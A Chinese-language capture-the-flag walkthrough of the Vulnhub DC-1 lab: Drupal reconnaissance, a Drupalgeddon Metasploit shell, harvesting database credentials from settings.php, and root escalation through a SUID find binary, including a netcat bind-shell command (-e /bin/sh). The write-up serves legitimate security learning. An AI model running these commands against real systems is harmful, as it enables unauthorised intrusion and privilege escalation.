DC-1
青 叶

DC-1

下载的虚拟机文件导入后在我的VMWare上并未网络问题,如有问题参考文章:Fix Network Problem In Vulnhub Virtual Machine

本挑战共有五枚FLAG。

FLAG 1

使用nmap扫描一下服务器:

1
nmap -sC -sV -A -p- 192.168.145.134

得到以下结果:

image

结果存档备用。

可以看到nmap扫描的结果暴露了许多信息,这是一个Drupal的站,其次网站根目录下有robots.txt文件。

使用nikto扫描一下目标网站:

1
nikto -h 192.168.145.134

image

拿到的信息十分有限,唯一有用的信息就是之前已经知道的Drupal 7.x,至于其它看起来十分像敏感信息的经测试并无太大用处。

既然是CMS,那么就看看它有无已经披露的漏洞吧:

1
searchsploit Drupal 7

image

注意到部分Metasploit可渗透,在msf中搜索Drupal:

image

然后我们需要确定CMS的准确版本,或者获取一个模糊的版本区间,不能只是模糊的7.x。

经Google,发现了工具droopescan,其GitHub地址为:https://github.com/droope/droopescan

将其克隆至本地:

1
git clone https://github.com/droope/droopescan.git

然后安装依赖:

1
pip install -r requirements.txt

完成后执行:

1
./droopescan

出现异常:

image

使用pip排查,依赖已全部安装,修改执行python版本:

1
vim ./droopescan

修改为:

image

运行成功:

image

使用该工具扫描目标网站:

1
./droopescan scan drupal -u 192.168.145.134 -t 16

扫描结果:

image

可以确定目标版本,查看searchsploit命令的结果,发现7.x的漏洞几乎都可利用,加载exploit/multi/http/drupal_drupageddon或者exploit/unix/webapp/drupal_drupalgeddon2,然后拿到shell:

image

获取交互式shell:

1
2
shell
/bin/bash -i

image

成功拿到第一枚Flag:

image

FLAG 2

根据FLAG1的提示,找Drupal的配置文件。

Drupal的配置文件位于:

1
/var/www/sites/default/settings.php

使用less仔细查看:

1
cat settings.php | less

发现使用bash -i获取的交互式环境有点问题,换python获取交互式shell,在meterpreter拿到shell后,执行:

1
python -c 'import pty; pty.spawn("/bin/bash");'

再次仔细查看:

image

第二枚FLAG。

发现了数据库账号和密码,保持留用。

FLAG 3

连上数据库看看:

1
mysql -udbuser -pR0ck3t

数据库:

image

表共80个,此处不列出了。

有个比较关键的users表,查询其信息,得到了两个用户的信息,密码是经过Hash的,比较难处理。

在node表中查到第三枚Flag,但是不能算Flag,因为其内容没有一起存储在node表中,我们继续找找,最终在表field_data_body中找到了Flag3:

image

FLAG 4

使用Find命令找到第四枚Flag。

image

FLAG 5

按提示尝试进入/root失败:

image

按照Flag3的提示,用find找具有特殊权限suid的命令:

image

发现find是所属于root的,既然无法进入该目录,使用find遍历/root试试:

image

最终的flag出现了。

现在我们就要想办法拿到这个文件的内容。

这里需要提权,记录一下发现Linux运行的所有SUID可执行文件:

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

发现find具有SUID标识:

image

查看一下:

image

使用find提权:

1
2
3
4
5
6
7
# Method 1
find . -exec '/bin/sh' \;

# Method 2
touch $filename
find $filename -exec netcat -lvp 5555 -e /bin/sh \;
# Then use netcat to connect the server

此处使用第一个方法,成功拿到最终的FLAG。

image